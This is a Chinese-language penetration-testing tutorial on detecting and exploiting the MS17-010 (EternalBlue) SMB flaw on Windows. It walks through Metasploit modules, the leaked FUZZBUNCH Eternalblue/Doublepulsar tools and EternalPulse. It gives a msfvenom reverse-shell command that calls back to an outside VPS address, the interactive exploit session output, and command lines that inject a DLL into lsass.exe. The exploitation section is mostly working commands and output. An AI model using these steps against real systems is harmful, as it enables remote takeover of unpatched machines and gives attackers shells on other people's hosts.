0x01 漏洞检测
1)msf
msf
里有个模块 auxiliary/scanner/smb/smb_ms17_010
可以进行 单IP / IP段 的 17010
监测
2)工具
有很多监测工具,自己挑顺手的就行了
sharpSMBScan
公司大佬写的
C:\Users\root\Desktop\>SharpSMBScan.exe -h
马赛克君
IP : SharpSMBScan.exe 192.168.1.1
IPS : SharpSMBScan.exe -CIP 192.168.1.1
Ladon
K8gege
写的内网信息搜集工具,不只限于 17010
Ladon.exe 192.168.37.1/24 ScanType MS17010
0x02 漏洞利用
1)msf
msf多个模块可以尝试利用
exploit/windows/smb/ms17_010_eternalblue
优点是不需要匿名管道,但容易造成蓝屏
当前测试版本 windows server 2008 R2 x64
可以本地打到vps上
VPS:
开监听
本地:
将 LHOST
设置我们 vps 的 IP
看到我们 vps 弹回 meterpreter
后就把本地的掐掉,不然让他继续打可能就打蓝屏了
auxiliary/admin/smb/ms17_010_command
执行命令的模块,优点是不会蓝屏,但是需要匿名管道( exploit/windows/smb/ms17_010_psexec
同这个模块,都需要匿名管道)
当前测试版本 windows server 2008 R2 x64
2)原生py
方程式工具,来自 NAS
武器库,最稳定,需要 python 2.6
环境
当前测试版本 windows 7 sp1 x86
1. 生成后门文件
利用 msfvenom
生成 dll
文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.119.27 LPORT=12121 -f dll >17010.dll
2. 打开监听
选择对应的payload开监听就完事儿了
3. 原生 py 打 17010
启动原生 py 文件,注意需要 python2.6
的环境
这里设置 target ip
设置为有漏洞的目标,我新建了一个项目。
[?] Default Target IP Address [] : 192.168.37.5
[?] Default Callback IP Address [] : 192.168.37.4
[?] Use Redirection [yes] : no
[?] Base Log directory [D:\logs] :
[*] Checking D:\logs for projects
[!] Access Denied to 'D:\logs'! Choose a different log directory.
[?] Base Log directory [D:\logs] : C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs
[*] Checking C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs for projects
Index Project
----- -------
0 Create a New Project
[?] Project [0] : 0
[?] New Project Name : 17010
[?] Set target log directory to 'C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs\17010\z192.168.37.5'? [Yes] :
[*] Initializing Global State
[+] Set TargetIp => 192.168.37.5
[+] Set CallbackIp => 192.168.37.4
[!] Redirection OFF
[+] Set LogDir => C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs\17010\z192.168.37.5
[+] Set Project => 17010
选择 Eternalblue
模块植入后门,一路回车
这里需要选择对应的操作系统,模式选择 FB
[*] Target :: Operating System, Service Pack, and Architecture of target OS
0) XP Windows XP 32-Bit All Service Packs
*1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs
[?] Target [1] :
[!] Preparing to Execute Eternalblue
[*] Mode :: Delivery mechanism
*0) DANE Forward deployment via DARINGNEOPHYTE
1) FB Traditional deployment from within FUZZBUNCH
[?] Mode [0] : 1
[+] Run Mode: FB
又是一路的回车
利用 Doublepulsar
插件,进行 DLL
注入
也是一路回车,几个地方需要注意,选择对应的就行了
RunDLL
设置我们用 msfvenom
生成的 DLL
文件,进行注入
[*] Protocol :: Protocol for the backdoor to speak
*0) SMB Ring 0 SMB (TCP 445) backdoor
1) RDP Ring 0 RDP (TCP 3389) backdoor
[?] Protocol [0] :
[*] Architecture :: Architecture of the target OS
*0) x86 x86 32-bits
1) x64 x64 64-bits
[?] Architecture [0] :
[*] Function :: Operation for backdoor to perform
*0) OutputInstall Only output the install shellcode to a binary file on disk.
1) Ping Test for presence of backdoor
2) RunDLL Use an APC to inject a DLL into a user mode process.
3) RunShellcode Run raw shellcode
4) Uninstall Remove's backdoor from system
[?] Function [0] : 2
[+] Set Function => RunDLL
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] : C:\Users\root\Desktop\17010.dll
[+] Set DllPayload => C:\Users\root\Desktop\17010.dll
一路回车以后,成功打回来
3)其他工具
EternalPulse
提取的原版py,项目地址:https://github.com/TolgaSEZER/EternalPulse
可打包传到shell上执行,然后利用跳板机自带的解压缩软件解压
"C:\Program Files\WinRAR\rar.exe" x c:\test\EternalPulse.rar c:\test
使用方法和原生py一样
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 存在17010漏洞的IP --TargetPort 445 --Target WIN72K8R2
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 存在17010漏洞的IP --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload x64.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
我这里利用的一个正向的dll,开启目标的6373端口
然后正向连接就行了
界面化工具
还有一些界面化的方程式工具,都是大同小异,利用 DLL
注入